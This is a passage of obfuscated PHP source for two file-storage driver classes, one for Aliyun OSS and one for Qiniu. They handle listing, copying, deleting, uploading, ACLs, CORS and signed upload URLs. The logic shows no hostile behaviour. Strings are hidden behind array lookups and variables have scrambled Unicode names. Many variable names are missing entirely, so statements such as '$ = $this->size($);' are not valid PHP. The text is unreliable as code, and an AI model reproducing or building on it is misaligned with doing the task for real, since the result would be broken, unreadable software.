} class PathDriverOSS extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $bucket = ''; protected $bucketAcl = ''; protected $endpoint = null; protected $client = null; public $ioUploadServer = "\60"; public $ioFileOutServer = "\60"; public $cdnHost = ''; public $config = array(); public function __construct($) { parent::__construct(); include_once SDK_DIR . $_SERVER[̧][1388]; $this->_init($); } public function _init($) { $ =& $_SERVER[̧]; $this->config = $; foreach ($ as $⤙ => $†) { if (isset($this->{$⤙})) { $this->{$⤙} = $†; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { throw new Exception($[1389] . LNG($[1390])); } $this->client = new OSS\OssClient($this->accessKey, $this->secret, $this->domain); $this->client->setConnectTimeout(60); } public function setBucketCors() { $ғ =& $_SERVER[̧]; $ = new OSS\Model\CorsConfig(); $ = new OSS\Model\CorsRule(); $->addAllowedOrigin($ғ[1391]); $->addAllowedMethod($ғ[1392]); $->addAllowedMethod($ғ[1393]); $->addAllowedMethod($ғ[1394]); $->addAllowedMethod($ғ[1395]); $->addAllowedMethod($ғ[160]); $->setMaxAgeSeconds(600); $->addExposeHeader($ғ[1396]); $->addAllowedHeader($ғ[1391]); $->addRule($); try { $this->client->putBucketCors($this->bucket, $); } catch (OSS\Core\OssException $״Ђ) { return !1; } return !0; } public function getBucketCors() { $Ѷ =& $_SERVER[̧]; $ݵ = null; try { $ݵ = $this->client->getBucketCors($this->bucket); } catch (OSS\Core\OssException $) { return null; } if (!$ݵ || !($똛 = $ݵ->getRules())) { return null; } $饠 = $똛[0]->getAllowedOrigins(); $şփ = $똛[0]->getAllowedMethods(); $Ȅ = $똛[0]->getMaxAgeSeconds(); $ʨ = $똛[0]->getExposeHeaders(); $ܖ = $똛[0]->getAllowedHeaders(); return array($Ѷ[188] => isset($饠[0]) ? $饠[0] : $Ѷ[12], $Ѷ[192] => $şփ, $Ѷ[1397] => $Ȅ, $Ѷ[1398] => isset($ʨ[0]) ? $ʨ[0] : $Ѷ[12], $Ѷ[190] => isset($ܖ[0]) ? $ܖ[0] : $Ѷ[12]); } public function isBucketCors() { $կ =& $_SERVER[̧]; $ڗ = $this->getBucketCors(); if (!$ڗ || !is_array($ڗ)) { return !1; } if ($ڗ[$կ[188]] != $կ[189] || $ڗ[$կ[190]] != $կ[189]) { return !1; } $٬ = array_map($կ[191], $ڗ[$կ[192]]); if (!is_array($٬)) { $٬ = array(); } $Ӫ۲ = array($կ[193], $կ[194], $կ[195], $կ[196], $կ[197]); $Ū = array_diff($Ӫ۲, $٬); return empty($Ū); } public function mkfile($, $ = '', $׋ = REPEAT_RENAME) { $ = $this->setContent($, $); if ($ !== !1) { return $this->getPathOuter($); } return !1; } public function mkdir($˚, $ = REPEAT_SKIP) { if ($ && $this->_isFolder($˚)) { return $this->getPathOuter($˚); } try { $this->client->createObjectDir($this->bucket, $this->pathEncode($˚)); } catch (OSS\Core\OssException $) { return !1; } return $this->getPathOuter($˚); } private function fileList($ᩒ, $ = '', $ӕ = 0) { $ =& $_SERVER[̧]; $ᩒ = trim($ᩒ, $[8]); $ = empty($ᩒ) && $ᩒ !== $[198] ? $[12] : $ᩒ . $[8]; $ٔΓ = $[12]; $װ = 1000; $Ð = $ܿ = array(); while (!0) { check_abort(); $ӓצ = array($[1399] => $, $[1400] => $, $[1401] => $װ, $[1402] => $ٔΓ); try { $ = $this->client->listObjects($this->bucket, $ӓצ); } catch (OSS\Core\OssException $䫸) { break; } $ٔΓ = $->getNextMarker(); $ = $->getObjectList(); $ܿ륊 = $->getPrefixList(); foreach ($ as $͜) { if ($͜->getKey() == $) { continue; } $җ = $͜->getKey(); $٪ = $͜->getSize(); $Ϙ = $͜->getLastModified(); $ = $ӕ ? array($[32] => $җ, $[76] => $٪, $[180] => strtotime($Ϙ)) : $җ; $ٯ = $٪ == 0 && substr($җ, strlen($җ) - 1, 1) == $[8] ? !0 : !1; $ = array($[76] => $٪, $[1403] => $٪, $[85] => strtotime($Ϙ), $[1404] => $Ϙ); $this->cacheMethodInfoSet($җ, $ٯ, $); if ($ٯ) { $Ð[] = $җ; continue; } $ܿ[] = $; } foreach ($ܿ륊 as $) { $Ð[] = $->getPrefix(); $this->cacheMethodInfoSet($->getPrefix(), !0); } if ($ٔΓ === $[12]) { break; } } $this->cacheMethodInfoSet($ᩒ, !0); return array($[82] => $Ð, $[83] => $ܿ); } public function copyFile($, $љ) { $ = $this->size($); if ($ < 1024 * 1024 * 1024) { try { $this->client->copyObject($this->bucket, $, $this->bucket, $this->pathEncode($љ)); } catch (OSS\Core\OssException $﫭) { return !1; } return $this->getPathOuter($љ); } $ = $this->multiCopyObject($, $љ, $); return $ ? $this->getPathOuter($љ) : !1; } private function multiCopyObject($Ӣ˵, $Ϧ, $ܥ) { $ø =& $_SERVER[̧]; try { $ᆝ = array(); if ($΀ = $this->hashMd5($Ӣ˵)) { $ᆝ = array(OSS\OssClient::OSS_HEADERS => array($ø[1405] => $΀)); } $Η = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($Ϧ), $ᆝ); $ = 1; $ = 0; $鱇 = array(); $ = 1024 * 1024 * 10; $ƮȞ = $this->client->generateMultiuploadParts($ܥ, $); foreach ($ƮȞ as $¯ => $) { $ = $ + (int) $[$ø[1406]]; $³Dž = (int) $[$ø[366]] + $ - 1; $ = array($ø[1407] => $, $ø[1408] => $³Dž); $鱇[] = $this->client->uploadPartCopy($this->bucket, $Ӣ˵, $this->bucket, $this->pathEncode($Ϧ), $, $Η, $); $ = $ + 1; } $ʻ = array(); foreach ($鱇 as $¯ => $鮌) { $ʻ[] = array($ø[1409] => $¯ + 1, $ø[1410] => $鮌); } $this->client->completeMultipartUpload($this->bucket, $this->pathEncode($Ϧ), $Η, $ʻ); } catch (OSS\Core\OssException $) { return !1; } return !0; } public function moveFile($, $め) { if ($this->copyFile($, $め)) { $this->remove($); return $this->getPathOuter($め); } return !1; } public function delFile($̦) { try { $this->client->deleteObject($this->bucket, $this->pathEncode($̦)); } catch (OSS\Core\OssException $) { return !1; } return !0; } public function delFolder($Ԍ) { $ҫ =& $_SERVER[̧]; if (!$this->exist($Ԍ)) { return !0; } $this->listItemCache = !1; $՚펗 = $this->fileList($Ԍ); $this->listItemCache = !0; $Ź = trim($Ԍ, $ҫ[8]) . $ҫ[8]; if (!empty($Ԍ) && $Ԍ !== $ҫ[198] && !in_array($Ź, $՚펗[$ҫ[82]])) { $՚펗[$ҫ[82]][] = $Ź; } $ = $this->delByBatch($՚펗[$ҫ[83]]); if (!$) { return !1; } $ = $this->delByBatch($՚펗[$ҫ[82]]); if (!$) { return !1; } return $this->delFile($Ź); } private function delByBatch($) { foreach (array_chunk($, 1000) as $) { try { $this->client->deleteObjects($this->bucket, $); } catch (OSS\Core\OssException $֐) { return !1; } } return !0; } public function rename($, $) { return $this->renameObject($, $); } private function fileInfo($͇, $ࡺ = false, $ن = array()) { $ =& $_SERVER[̧]; $ = array($[32] => $this->pathThis($͇), $[84] => $this->getPathOuter($͇), $[33] => $[200], $[76] => isset($ن[$[76]]) ? $ن[$[76]] : 0, $[174] => $this->ext($͇)); if ($ࡺ) { return $; } $[$[201]] = $[$[85]] = 0; $[$[202]] = $[$[203]] = !0; if (empty($ن)) { $ؗą = $this->objectMeta($͇); if (!$ؗą) { return $; } $ن = array($[85] => strtotime($ؗą[$[1404]]), $[76] => $ؗą[$[1403]] + 0); } if (isset($ن[$[76]])) { $[$[76]] = $ن[$[76]]; } if (isset($ن[$[85]])) { $[$[85]] = $ن[$[85]]; } if (isset($ن[$[180]]) && !trim($[$[85]])) { $[$[85]] = $ن[$[180]]; } return $; } private function folderInfo($, $Ķ = false, $ɟ = array()) { $Ѡ =& $_SERVER[̧]; $ފ = array($Ѡ[32] => $this->pathThis($), $Ѡ[84] => $this->getPathOuter($Ѡ[8] . $), $Ѡ[33] => $Ѡ[75]); if ($Ķ) { return $ފ; } $ފ[$Ѡ[201]] = $ފ[$Ѡ[85]] = 0; $ފ[$Ѡ[202]] = $ފ[$Ѡ[203]] = !0; if (empty($ɟ)) { $ = rtrim($, $Ѡ[8]) . $Ѡ[8]; $Ǿ = $this->objectMeta($); if (!$Ǿ) { return $ފ; } $ɟ = array($Ѡ[201] => $Ǿ[$Ѡ[540]][$Ѡ[1411]], $Ѡ[85] => strtotime($Ǿ[$Ѡ[1404]])); } if (isset($ɟ[$Ѡ[85]])) { $ފ[$Ѡ[85]] = $ɟ[$Ѡ[85]]; } if (isset($ɟ[$Ѡ[201]])) { $ފ[$Ѡ[201]] = $ɟ[$Ѡ[201]]; } return $ފ; } public function listPath($, $ = false) { $ =& $_SERVER[̧]; $㭏 = $this->fileList($, $[8], !0); foreach ($㭏[$[82]] as $ڕ => $ވ) { $㭏[$[82]][$ڕ] = $this->folderInfo($ވ, $, $ވ); } foreach ($㭏[$[83]] as $ڕ => $ވ) { $㭏[$[83]][$ڕ] = $this->fileInfo($ވ[$[32]], $, $ވ); } return $㭏; } protected function infoChildren($ᮒ, &$ȍ) { $൛ =& $_SERVER[̧]; $ = $this->fileList($ᮒ, $൛[12], !0); $ȍ[$൛[78]] += count($[$൛[82]]); $ȍ[$൛[77]] += count($[$൛[83]]); foreach ($[$൛[83]] as $ŭ) { if (!$ŭ || !$ŭ[$൛[76]]) { continue; } $ȍ[$൛[76]] += $ŭ[$൛[76]]; } } public function has($ӛ, $̀ۋ = false, $β = true) { $ԭϙ =& $_SERVER[̧]; $ӛ = trim($ӛ, $ԭϙ[8]); $Ś = empty($ӛ) && $ӛ !== $ԭϙ[198] ? $ԭϙ[12] : $ӛ . $ԭϙ[8]; $Ѳ = $ԭϙ[12]; $ = 500; $̲ = $ = 0; while (!0) { check_abort(); $ = array($ԭϙ[1399] => $ԭϙ[8], $ԭϙ[1400] => $Ś, $ԭϙ[1401] => $, $ԭϙ[1402] => $Ѳ); try { $ȝ = $this->client->listObjects($this->bucket, $); } catch (OSS\Core\OssException $) { break; } $Ѳ = $ȝ->getNextMarker(); $򐬆 = $ȝ->getObjectList(); $ƅ = $ȝ->getPrefixList(); if ($̀ۋ) { if (count($򐬆) > 1 || count($򐬆) == 1 && $򐬆[0]->getKey() != $Ś) { $̲ += count($򐬆) - 1; } if (!empty($ƅ)) { $ += count($ƅ); } if ($Ѳ === $ԭϙ[12]) { break; } continue; } if ($β) { if (!empty($򐬆)) { if (count($򐬆) > 1 || $򐬆[0]->getKey() != $Ś) { return !0; } } } else { if (!empty($ƅ)) { return !0; } } if ($Ѳ === $ԭϙ[12]) { break; } } if ($̀ۋ) { return array($ԭϙ[207] => $̲, $ԭϙ[208] => $); } return !1; } public function listAll($ѓ) { $٦ =& $_SERVER[̧]; $؛ݚ = $this->fileList($ѓ, $٦[12], !0); $Ә = array_to_keyvalue($؛ݚ[$٦[83]], $٦[32]); foreach ($؛ݚ[$٦[82]] as $) { if (is_string($)) { $Ә[$] = array($٦[76] => 0); } } return $this->listAllFiles($ѓ, $Ә); } public function canRead($) { $ݽ =& $_SERVER[̧]; $ʟ = $this->pathAcl($); return $ʟ == $ݽ[1412] || $ʟ == $ݽ[585] ? !0 : !1; } public function canWrite($ᅐ) { $ = $this->pathAcl($ᅐ); return $ == $_SERVER[̧][585] ? !0 : !1; } public function pathAcl($몚) { $Ŕ =& $_SERVER[̧]; if (empty($this->bucketAcl)) { $this->bucketAcl = $this->client->getBucketAcl($this->bucket); } try { $᥁ = $this->client->getObjectAcl($this->bucket, $this->pathEncode($몚)); } catch (OSS\Core\OssException $ޡ) { return !1; } $ = $᥁ == $Ŕ[37] ? $this->bucketAcl : $᥁; if ($ == $Ŕ[1413]) { return $Ŕ[1412]; } if ($ == $Ŕ[1414]) { return $Ŕ[585]; } return $; } private function chmodPath($캆ʢ, $ = '') { $ϩ =& $_SERVER[̧]; $ = empty($) ? $ϩ[1414] : $; $Љ = array($ϩ[37], $ϩ[199], $ϩ[1413], $ϩ[1414]); if (!in_array($, $Љ)) { return !1; } try { $this->client->putObjectAcl($this->bucket, $this->pathEncode($캆ʢ), $); } catch (OSS\Core\OssException $戽) { return !1; } return !0; } public function getContent($Պ) { return $this->fileSubstr($Պ, -1); } public function setContent($, $ = '') { $ƭ =& $_SERVER[̧]; try { $ӄ = $this->trafficLimit($ƭ[1415]); $ޟ = $this->client->putObject($this->bucket, $this->pathEncode($), $, $ӄ); } catch (OSS\Core\OssException $ֻ) { return !1; } $􊥼 = array($ƭ[1405] => trim($ޟ[$ƭ[1416]], $ƭ[118]), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($))); $this->updateObjMeta($, $􊥼); return isset($ޟ[$ƭ[1417]][$ƭ[260]]) ? !0 : !1; } private function updateObjMeta($ª, $׽) { $ª = $this->pathEncode($ª); try { $濜 = array(OSS\OssClient::OSS_HEADERS => $׽); $this->client->copyObject($this->bucket, $ª, $this->bucket, $ª, $濜); } catch (OSS\Core\OssException $ե) { return !1; } return !0; } public function upload($Շ, $, $ڱ = false, $ = REPEAT_REPLACE) { $䦈 =& $_SERVER[̧]; $Āҏ = trim($Շ, $䦈[8]); $ƍ = array(OSS\OssClient::OSS_CHECK_MD5 => !0, OSS\OssClient::OSS_PART_SIZE => 1024 * 1024 * 10, OSS\OssClient::OSS_HEADERS => array($䦈[1405] => @md5_file($)), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($Շ))); $ƍ = $this->trafficLimit($䦈[1415], $ƍ); try { $this->client->multiuploadFile($this->bucket, $this->pathEncode($Āҏ), $, $ƍ); } catch (OSS\Core\OssException $݀Ɣ) { return !1; } return $this->getPathOuter($Շ); } public function getHost() { $ɒ =& $_SERVER[̧]; $а = explode($ɒ[184], parent::getHost()); return $а[0] . $ɒ[184] . $this->bucket . $ɒ[10] . $а[1]; } public function uploadFormData($ˣ, $ = 3600) { $ =& $_SERVER[̧]; if (!($ = $this->getHost())) { return !1; } $Ç = $; $ˠ = date($[1418], time() + $Ç); $ = new DateTime($ˠ); $ = $->format(DateTime::ISO8601); $ = strpos($, $[325]); $ = substr($, 0, $) . $[1419]; $Ԃ = 1048576000 * 5; $ԫ = $this->pathFather($ˣ); $ = array($[243] => $, $[246] => array(array($[1420], 0, $Ԃ), array($[249], $[250], $ԫ))); $NJ = base64_encode(json_encode($)); $ = base64_encode(hash_hmac($[232], $NJ, $this->secret, !0)); $ = array($[261] => $NJ, $[1421] => $this->accessKey, $[253] => $[242], $[1422] => $, $[182] => $); $ = $this->trafficLimit($[1415], $); return $; } public function multiUploadFormData($, $ = 3600) { $ =& $_SERVER[̧]; if (!($̑ = $this->getHost())) { return !1; } $ٺʇ = $this->trafficLimit($[1415]); $ú = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($), $ٺʇ); return array($[223] => $ú, $[182] => $̑ . $[8] . $this->pathEncode($), $[224] => gmdate($[1423]), $[94] => $); } public function multiUploadAuthData($ޮ, $ʰ = array()) { $ =& $_SERVER[̧]; $ = isset($ʰ[$[224]]) ? $ʰ[$[224]] : gmdate($[1423]); $ = isset($ʰ[$[174]]) ? $ʰ[$[174]] : $[12]; $ = $ޮ; if (isset($ʰ[$[94]])) { $ = $ʰ[$[94]]; unset($ʰ[$[94]]); } if (isset($ʰ[$[225]])) { $ʰ[$[224]] = $; return $this->listUploadParts($, $ʰ); } $ = array($[226], $[12], $[120], $, "\170\55\157\163\163\55\144\141\x74\145\x3a{$}", $[8] . $this->bucket . $[8] . $ . $); if (strpos($, $[227]) === 0) { $[0] = $[228]; if ($⼮ = $this->trafficLimit($[1415])) { $ = $[1424]; array_splice($, 5, 0, $ . $[4] . $⼮[$]); } } if (isset($ʰ[$[229]]) && $ʰ[$[229]] == $[230]) { $[0] = $[230]; } if (!empty($ʰ[$[1425]])) { $槊 = array_merge(array($[4]), $ʰ[$[1425]]); sort($槊); $[4] = implode($[231], $槊); } $Ё = implode($[231], $); $צ = base64_encode(hash_hmac($[232], $Ё, $this->secret, !0)); $܏ز = $[1389] . $this->accessKey . $[4] . $צ; if (strpos($, $[227]) === 0) { $܏ز = array($[234] => $܏ز, $[224] => $); if ($⼮) { $܏ز = array_merge($܏ز, $⼮); } } return $܏ز; } public function listUploadParts($Ԭ҇, $˓) { $Ϡ =& $_SERVER[̧]; $ = parse_url_query($˓[$Ϡ[174]]); $Ͱ = $this->client->listParts($this->bucket, $this->pathEncode($Ԭ҇), $[$Ϡ[223]]); $ = $Ͱ->getListPart(); $ح = array(); foreach ($ as $鸠) { $ح[] = array($Ϡ[1409] => $鸠->getPartNumber(), $Ϡ[1410] => trim($鸠->getETag(), $Ϡ[118])); } unset($˓[$Ϡ[225]], $˓[$Ϡ[229]]); $ = $this->multiUploadAuthData($Ԭ҇, $˓); if (empty($)) { return !1; } return array($Ϡ[234] => $, $Ϡ[224] => $˓[$Ϡ[224]], $Ϡ[236] => $ح); } public function download($фж, $؋) { if ($this->isFolder($фж)) { return !1; } try { $ = array(OSS\OssClient::OSS_FILE_DOWNLOAD => $؋); $ = $this->trafficLimit($_SERVER[̧][109], $); $this->client->getObject($this->bucket, $this->pathEncode($фж), $); } catch (OSS\Core\OssException $ޢ) { return !1; } return $؋; } public function fileSubstr($ɑ, $ = 0, $ɉ = false) { if ($ === -1) { $ȡ = array(); } else { if ($ɉ === !1) { $Ķ = $this->size($ɑ); } else { $Ķ = $ + $ɉ - 1; } $ȡ = array(OSS\OssClient::OSS_RANGE => "{$}\55{$Ķ}"); } try { return $this->client->getObject($this->bucket, $this->pathEncode($ɑ), $ȡ); } catch (OSS\Core\OssException $ۨ) { think_exception($ۨ->getMessage()); return !1; } } private function trafficLimit($էË, $ = array()) { $㹗 =& $_SERVER[̧]; if ($էË == $㹗[1415] && $this->isUploadServer() || $էË == $㹗[109] && $this->isFileOutServer()) { return $; } $̀Ȏ = floatval($GLOBALS[$㹗[6]][$㹗[89]][$㹗[107]][$էË]) * 1024 * 1024 * 8; if (!$̀Ȏ) { return $; } $̀Ȏ = $̀Ȏ < 819200 ? 819200 : ($̀Ȏ > 838860800 ? 838860800 : $̀Ȏ); $[OSS\OssClient::OSS_TRAFFIC_LIMIT] = intval($̀Ȏ); return $; } public function link($ҝ, $֊ = array()) { $ϩ =& $_SERVER[̧]; if (!$this->exist($ҝ) || $this->isFolder($ҝ)) { return !1; } try { $֊ = $this->trafficLimit($ϩ[109], $֊); $ = $this->client->signUrl($this->bucket, $this->pathEncode($ҝ), 3600 * 12, $ϩ[230], $֊); return $this->getCdnLink($); } catch (OSS\Core\OssException $ݸ) { return !1; } } public function fileOut($, $ང = false, $Ɖ = false, $䚺 = '') { $铈 =& $_SERVER[̧]; if ($this->isFileOutServer()) { return $this->fileOutServer($, $ང, $Ɖ, $䚺); } if (!$Ɖ) { $Ɖ = $this->pathThis($); } $Ɖ = rawurlencode($Ɖ); $՟߼ = get_file_mime(get_path_ext($Ɖ)); if ($՟߼ == $铈[217]) { return parent::fileOut($, $ང, $Ɖ, $䚺); } $ང = $ང ? $铈[1426] : $铈[1427]; $ý = array(OSS\OssClient::OSS_SUB_RESOURCE => $铈[1428] . rawurlencode("{$ང}\x3b\146\x69\154\145\x6e\x61\x6d\x65\75{$Ɖ}")); $ý[OSS\OssClient::OSS_SUB_RESOURCE] .= $铈[1429] . rawurlencode($՟߼); $ = $this->link($, $ý); $this->fileOutLink($); } public function fileOutServer($, $ = false, $Λ = false, $ȼ = '') { parent::fileOut($, $, $Λ, $ȼ); } public function fileOutImage($Ǭ, $‚ = 250) { if ($this->size($Ǭ) > 1024 * 1024 * 20) { return $this->fileOutImageServer($Ǭ, $‚); } $ = array(OSS\OssClient::OSS_PROCESS => $_SERVER[̧][1430] . $‚); $ = $this->link($Ǭ, $); $this->fileOutLink($); } public function fileOutImageServer($񩨯, $ү = 250) { parent::fileOutImage($񩨯, $ү); } public function fileOutLink($) { $Ջυ =& $_SERVER[̧]; if (!$this->isCdnHost() && substr($, 0, 7) == $Ջυ[1351]) { $ = $Ջυ[1352] . substr($, 7); } header($Ջυ[161] . $); die; } public function hashMd5($׻, $űȏ = '') { $ =& $_SERVER[̧]; $ܓ = $this->_objectMeta($׻); if (!$ܓ) { return $[12]; } if (!isset($ܓ[$[1405]]) && !empty($űȏ)) { $ǜ = $this->updateObjMeta($׻, array($[1405] => $űȏ)); $ܓ[$[1405]] = $ǜ ? $űȏ : $[12]; } return isset($ܓ[$[1405]]) ? strtolower($ܓ[$[1405]]) : $[12]; } public function size($⃐) { $ = $this->objectMeta($⃐); return $ ? $[$_SERVER[̧][76]] : 0; } public function info($𡷂߻) { if ($this->isFolder($𡷂߻)) { return $this->folderInfo($𡷂߻); } else { if ($this->isFile($𡷂߻)) { return $this->fileInfo($𡷂߻); } } return !1; } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function isFile($ڛ) { return !$this->isFolder($ڛ) && $this->objectMeta($ڛ); } public function isFolder($) { return $this->cacheMethod($_SERVER[̧][165], $); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[̧][167], $); } protected function _objectMeta($Ȣ) { $ƝΦ =& $_SERVER[̧]; try { $ = $this->client->getObjectMeta($this->bucket, $this->pathEncode($Ȣ)); } catch (OSS\Core\OssException $ղ) { $ = !1; } if ($) { $[$ƝΦ[76]] = intval($[$ƝΦ[1403]]); } return $; } protected function _isFolder($ܶ) { $ =& $_SERVER[̧]; if ($ܶ == $[12] || $ܶ == $[8]) { return !0; } $ֈ = array($[1399] => $[8], $[1400] => rtrim($ܶ, $[8]) . $[8], $[1401] => 1, $[1402] => $[12]); $ = $this->client->listObjects($this->bucket, $ֈ); if ($->getObjectList() || $->getPrefixList()) { return !0; } return !1; } } class PathDriverQiniu extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $region = ''; protected $bucket = ''; protected $auth = null; protected $client = null; protected $bucketManager = null; public $ioUploadServer = "\60"; public $ioFileOutServer = "\60"; public $config = array(); public function __construct($) { parent::__construct(); require_once SDK_DIR . $_SERVER[̧][1431]; $this->_init($); } public function _init($켣) { $ǰ =& $_SERVER[̧]; $this->config = $켣; foreach ($켣 as $ => $) { if (isset($this->{$})) { $this->{$} = $; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { throw new Exception($ǰ[1432] . LNG($ǰ[1390])); } $this->auth = new Qiniu\Auth($this->accessKey, $this->secret); $this->client = new Qiniu\Rtc\AppClient($this->auth); $this->configView = new \Qiniu\Config(); $this->bucketManager = new \Qiniu\Storage\BucketManager($this->auth, $this->configView); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function mkfile($ҜΛ, $ް = '', $̐ = REPEAT_RENAME) { if ($this->setContent($ҜΛ, $ް)) { return $this->getPathOuter($ҜΛ); } return !1; } public function mkdir($Ѡ, $ͯ = REPEAT_SKIP) { $ە =& $_SERVER[̧]; $ = trim($Ѡ, $ە[8]); if ($this->_isFolder($)) { return $this->getPathOuter($); } $Ѡ = $ . $ە[8]; $ = get_path_this($); $ݶ = $Ѡ . $; if (!$this->mkfile($ݶ)) { return !1; } if (!$this->moveFile($ݶ, $Ѡ)) { $this->delFile($ݶ); return !1; } return $this->getPathOuter($); } public function copyFile($ߐȸ, $ܝ) { $ = $this->bucketManager->copy($this->bucket, $ߐȸ, $this->bucket, $ܝ, !0); return $ ? !1 : $this->getPathOuter($ܝ); } public function moveFile($ԓ, $ߺ) { $ = $this->bucketManager->move($this->bucket, $ԓ, $this->bucket, $ߺ, !0); return $ ? !1 : $this->getPathOuter($ߺ); } public function delFile($˗) { if (!$this->exist($˗)) { return !0; } $Ș = $this->bucketManager->delete($this->bucket, $˗); return $Ș ? !1 : !0; } public function delFolder($) { $ =& $_SERVER[̧]; if (!$this->exist($)) { return !0; } $this->listItemCache = !1; $ = $this->fileList($); $this->listItemCache = !0; $₨ = trim($, $[8]) . $[8]; if (!empty($) && $ !== $[198] && !in_array($₨, $[$[82]])) { $[$[82]][] = $₨; } $ֲש = $this->delByBatch($[$[83]]); if (!$ֲש) { return !1; } $ֲש = $this->delByBatch($[$[82]]); if (!$ֲש) { return !1; } return $this->delFile($₨); } private function delByBatch($) { foreach (array_chunk($, 1000) as $) { $Ƌ = $this->bucketManager->buildBatchDelete($this->bucket, $); list($׮נȭ, $㼅) = $this->bucketManager->batch($Ƌ); if ($㼅) { return !1; } } return !0; } public function rename($, $֒) { return $this->renameObject($, $֒); } public function fileInfo($, $ = false, $ = array()) { $۞ڻ =& $_SERVER[̧]; $ = array($۞ڻ[32] => $this->pathThis($), $۞ڻ[84] => $this->getPathOuter($۞ڻ[8] . $), $۞ڻ[33] => $۞ڻ[200], $۞ڻ[76] => isset($[$۞ڻ[1433]]) ? $[$۞ڻ[1433]] : 0, $۞ڻ[174] => $this->ext($)); if ($) { return $; } $[$۞ڻ[201]] = $[$۞ڻ[85]] = 0; $[$۞ڻ[202]] = $[$۞ڻ[203]] = !0; if (empty($)) { $ = $this->objectMeta($); if (!$) { return $; } } if (isset($[$۞ڻ[1434]])) { $[$۞ڻ[85]] = substr($[$۞ڻ[1434]] . $۞ڻ[12], 0, 10); } if (isset($[$۞ڻ[1433]])) { $[$۞ڻ[76]] = $[$۞ڻ[1433]]; } return $; } public function folderInfo($, $ɼ = false) { $ =& $_SERVER[̧]; $ծ = array($[32] => $this->pathThis($), $[84] => $this->getPathOuter($[8] . $), $[33] => $[75]); if ($ɼ) { return $ծ; } $ծ[$[201]] = $ծ[$[85]] = 0; $ծ[$[202]] = $ծ[$[203]] = !0; $ = rtrim($, $[8]) . $[8]; $Ȅ = $this->objectMeta($); if (isset($Ȅ[$[1434]])) { $ծ[$[85]] = substr($Ȅ[$[1434]] . $[12], 0, 10); } return $ծ; } public function listPath($, $ = false) { $ =& $_SERVER[̧]; $݉ = $this->fileList($, $[8], !0); foreach ($݉[$[82]] as $ => $ۡ) { $݉[$[82]][$] = $this->folderInfo($ۡ, $); } foreach ($݉[$[83]] as $ => $ۡ) { $݉[$[83]][$] = $this->fileInfo($ۡ[$[94]], $, $ۡ); } return $݉; } public function has($֧, $܀į = false, $Ȓڋ = true) { $㖢ߦ =& $_SERVER[̧]; $֧ = trim($֧, $㖢ߦ[8]); $ = empty($֧) && $֧ !== $㖢ߦ[198] ? $㖢ߦ[12] : $֧ . $㖢ߦ[8]; $␓ = $㖢ߦ[12]; $֛ = 500; $Ԓ = $㖢ߦ[8]; $⿋ = $̴ = 0; while (!0) { check_abort(); list($۞, $) = $this->bucketManager->listFiles($this->bucket, $, $␓, $֛, $Ԓ); if ($) { break; } $␓ = array_key_exists($㖢ߦ[1402], $۞) ? $␓ = $۞[$㖢ߦ[1435]] : $㖢ߦ[12]; if ($܀į) { if (!empty($۞[$㖢ߦ[1436]])) { $⿋ += count($۞[$㖢ߦ[1436]]); } if (!empty($۞[$㖢ߦ[1437]])) { $̴ += count($۞[$㖢ߦ[1437]]); } if ($␓ === $㖢ߦ[12]) { break; } continue; } if ($Ȓڋ) { if (!empty($۞[$㖢ߦ[1436]])) { return !0; } } else { if (!empty($۞[$㖢ߦ[1437]])) { return !0; } } if ($␓ === $㖢ߦ[12]) { break; } } if ($܀į) { return array($㖢ߦ[207] => $⿋, $㖢ߦ[208] => $̴); } return !1; } public function listAll($Н) { $ԃ =& $_SERVER[̧]; $ = $this->fileList($Н, $ԃ[12], !0); $ǽ = array_to_keyvalue($[$ԃ[83]], $ԃ[32]); foreach ($[$ԃ[82]] as $) { if (is_string($)) { $ǽ[$] = array($ԃ[76] => 0); } } return $this->listAllFiles($Н, $ǽ); } private function fileList($ܯ, $ = '', $ڽڳ = 0) { $䚗 =& $_SERVER[̧]; $ܯ = trim($ܯ, $䚗[8]); $楅 = empty($ܯ) && $ܯ !== $䚗[198] ? $䚗[12] : $ܯ . $䚗[8]; $Ǝ = $䚗[12]; $ = 1000; $۠ = $ = array(); while (!0) { check_abort(); list($, $) = $this->bucketManager->listFiles($this->bucket, $楅, $Ǝ, $, $); if ($) { break; } $Ǝ = array_key_exists($䚗[1402], $) ? $Ǝ = $[$䚗[1435]] : $䚗[12]; $Ғ = isset($[$䚗[1436]]) ? $[$䚗[1436]] : array(); $ = isset($[$䚗[1437]]) ? $[$䚗[1437]] : array(); foreach ($Ғ as $ޒ) { if ($ޒ[$䚗[94]] == $楅) { continue; } $ = $ޒ[$䚗[94]]; $ = $ޒ[$䚗[1433]]; $ޒ[$䚗[76]] = $; $㺗Ͼ = $ == 0 && substr($, strlen($) - 1, 1) == $䚗[8] ? !0 : !1; $this->cacheMethodInfoSet($, $㺗Ͼ, $ޒ); if ($㺗Ͼ) { $۠[] = $; continue; } $[] = $ڽڳ ? $ޒ : $; } foreach ($ as $) { if ($ == $楅) { continue; } $۠[] = $; $this->cacheMethodInfoSet($, !0); } if ($Ǝ === $䚗[12]) { break; } } $this->cacheMethodInfoSet($ܯ, !0); return array($䚗[82] => $۠, $䚗[83] => $); } public function canRead($) { return $this->exist($) ? !0 : !1; } public function canWrite($) { return $this->exist($) ? !0 : !1; } public function getContent($ԕ) { return $this->fileSubstr($ԕ, 0, -1); } public function setContent($, $̦ = '') { $ = $this->tempFile($this->pathThis($)); file_put_contents($, $̦); if ($this->upload($, $)) { $this->tempFileRemve($); return !0; } return !1; } public function refreshUrls($􌟭) { $݈ =& $_SERVER[̧]; $¶Ґ = array(); if (is_array($􌟭)) { foreach ($􌟭 as $靻) { $¶Ґ[] = $this->link($靻); } } else { $¶Ґ[] = $this->link($􌟭); } $ = new Qiniu\Cdn\CdnManager($this->auth); list($홻, $쾺) = $->refreshUrls($¶Ґ); if ($쾺) { return !1; } return $홻[$݈[1202]] == $݈[779] ? !0 : !1; } public function fileSubstr($Г˵, $̒, $Ї) { $ =& 